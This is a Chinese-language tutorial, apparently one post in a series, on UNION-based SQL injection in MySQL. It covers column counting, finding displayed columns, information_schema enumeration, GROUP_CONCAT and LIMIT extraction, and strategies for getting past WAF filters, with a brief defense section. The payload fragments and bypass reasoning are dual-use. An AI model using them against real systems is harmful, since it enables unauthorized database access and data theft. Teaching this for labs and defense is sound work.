本文仅用于 CTF、靶场、本机实验和明确授权环境。

上一篇解决的是“输入进入了什么 SQL 上下文”。这一篇继续处理有数据回显时最常见的路线:联合查询。

联合查询不是从 UNION SELECT 开始,而是先回答三个问题:原查询有几列、哪些列能承载目标数据、哪些列会显示在页面上。

1. UNION 的基本要求

假设原查询是:

1
2
3
SELECT id, username
FROM users
WHERE id = 1;

联合另一条查询:

1
2
3
SELECT id, username FROM users WHERE id = 1
UNION
SELECT 100, 'demo';

通常需要:

1
2
3
4
5
两边列数相同
对应列的数据类型可以兼容
输入位置允许形成第二条 SELECT
应用会读取联合后的结果
至少有一列能在页面中观察

因此,直接输入一长串 UNION SELECT 后报错,并不能判断漏洞是否存在。

2. 判断列数

2.1 ORDER BY

在本地靶场中逐步测试:

1
2
3
ORDER BY 1
ORDER BY 2
ORDER BY 3

假设前两个正常,第三个出现“未知列位置”一类错误,可以推断结果集大概率只有两列。

常见失败原因:

1
2
3
4
5
错误被应用隐藏
ORDER BY 已经存在于固定后缀
输入不在能够添加 ORDER BY 的位置
数字被转换或截断
WAF 拦截了关键词

2.2 使用 NULL 占位

1
2
3
UNION SELECT NULL
UNION SELECT NULL,NULL
UNION SELECT NULL,NULL,NULL

NULL 能与多种数据类型兼容,适合先判断列数。列数正确但页面仍没有变化,还需要继续找回显位。

3. 寻找回显位

确定有三列后,可以在本地靶场使用明显的标记:

1
UNION SELECT 111,222,333

如果页面显示 222,说明第二列可能进入了页面模板。

但要注意:

  • 应用可能只读取第一行;
  • 页面可能只读取固定字段名;
  • HTML 转义可能改变显示;
  • 原查询结果可能排在联合结果之前;
  • 某些列只能接受数字或日期。

4. 原查询结果干扰

假设页面只展示第一行,原查询又确实命中记录,那么联合出来的数据可能根本看不到。

解决方向不是背一个固定前缀,而是让原查询条件为空:

1
2
原条件返回 0 行
→ 联合结果成为页面能够读取的第一行

如何让原条件为空,取决于数字型、字符串型、LIKE 或括号上下文。

5. 常用 MySQL 信息

1
2
3
4
5
6
7
DATABASE()
SCHEMA()
VERSION()
@@version
USER()
CURRENT_USER()
@@sql_mode

其中:

1
2
3
4
5
DATABASE() / SCHEMA()  当前数据库
VERSION() / @@version 版本信息
USER() 客户端认证身份
CURRENT_USER() 权限检查使用的账户
@@sql_mode 当前 SQL 模式

USER()CURRENT_USER() 语义不同,分析权限时不要完全混用。

6. information_schema

MySQL 常通过 information_schema 暴露数据库对象的元数据。

6.1 数据库名

1
2
SELECT schema_name
FROM information_schema.schemata;

6.2 当前数据库的表名

1
2
3
SELECT table_name
FROM information_schema.tables
WHERE table_schema = DATABASE();

6.3 指定表的字段名

1
2
3
4
SELECT column_name
FROM information_schema.columns
WHERE table_schema = DATABASE()
AND table_name = 'users';

6.4 为什么枚举不到

1
2
3
4
5
当前账户可见范围有限
关键词或下划线被过滤
页面只展示一行
数据库并非 MySQL
题目已经从源码提供了表结构

看到 information_schema 失败,不应立即认定没有注入。

7. GROUP_CONCAT:把多行压成一行

1
2
3
SELECT GROUP_CONCAT(table_name)
FROM information_schema.tables
WHERE table_schema = DATABASE();

指定分隔符:

1
2
3
SELECT GROUP_CONCAT(table_name SEPARATOR 0x7c)
FROM information_schema.tables
WHERE table_schema = DATABASE();

0x7c 是字符 | 的十六进制表示。

限制:

1
2
3
4
5
受 group_concat_max_len 影响
页面可能截断长内容
分隔符可能与原始数据冲突
函数可能被 WAF 过滤
聚合语义可能受 SQL mode 影响

8. GROUP_CONCAT 被过滤

它承担的能力是“把多行结果合并成一行”。替代方法要围绕这个目标选择:

1
2
3
4
SELECT table_name
FROM information_schema.tables
WHERE table_schema = DATABASE()
LIMIT 1 OFFSET 0;

改变 OFFSET 可以逐行读取。

其他路线:

1
2
3
4
目标表名已知 → 跳过全库枚举
页面支持多行 → 直接输出结果集
只有真假差异 → 布尔盲注判断对象是否存在
错误可见 → 使用适合当前版本的错误反馈

9. UNION 被过滤

先判断过滤性质:

1
2
3
4
5
大小写敏感匹配?
发现关键词后拒绝请求?
删除关键词后继续执行?
只替换一次还是循环替换?
在 URL 解码前还是解码后检查?

如果联合查询通道确实不可用,应切换反馈通道:

1
2
3
4
错误回显
布尔差异
时间差异
二次显示点

无限变形 UNION 并不是唯一路线。

10. 逗号被过滤

联合查询的多列天然需要逗号。可考虑:

1
2
3
4
原查询是否只有一列
能否改变查询结构
能否使用逐字符盲注
能否通过错误通道返回单个表达式

函数参数中的逗号有时能用另一种语法替代,但多列列表并没有普遍适用的无逗号写法。

11. 防御

数据值使用参数化查询;动态列名、表名和排序方向使用固定映射。数据库账户遵循最小权限,生产环境不向页面返回完整数据库错误。

12. 本篇速查

1
2
3
4
5
6
7
8
9
确认回显
→ 判断列数
→ 判断类型兼容
→ 找回显位
→ 处理原查询干扰
→ 获取必要信息
→ information_schema 枚举
→ GROUP_CONCAT 或 LIMIT 逐行
→ UNION 不通时换反馈通道

下一篇整理 MySQL 常见函数,以及函数、逗号、引号或比较符被过滤时如何按“能力”寻找替代。

参考资料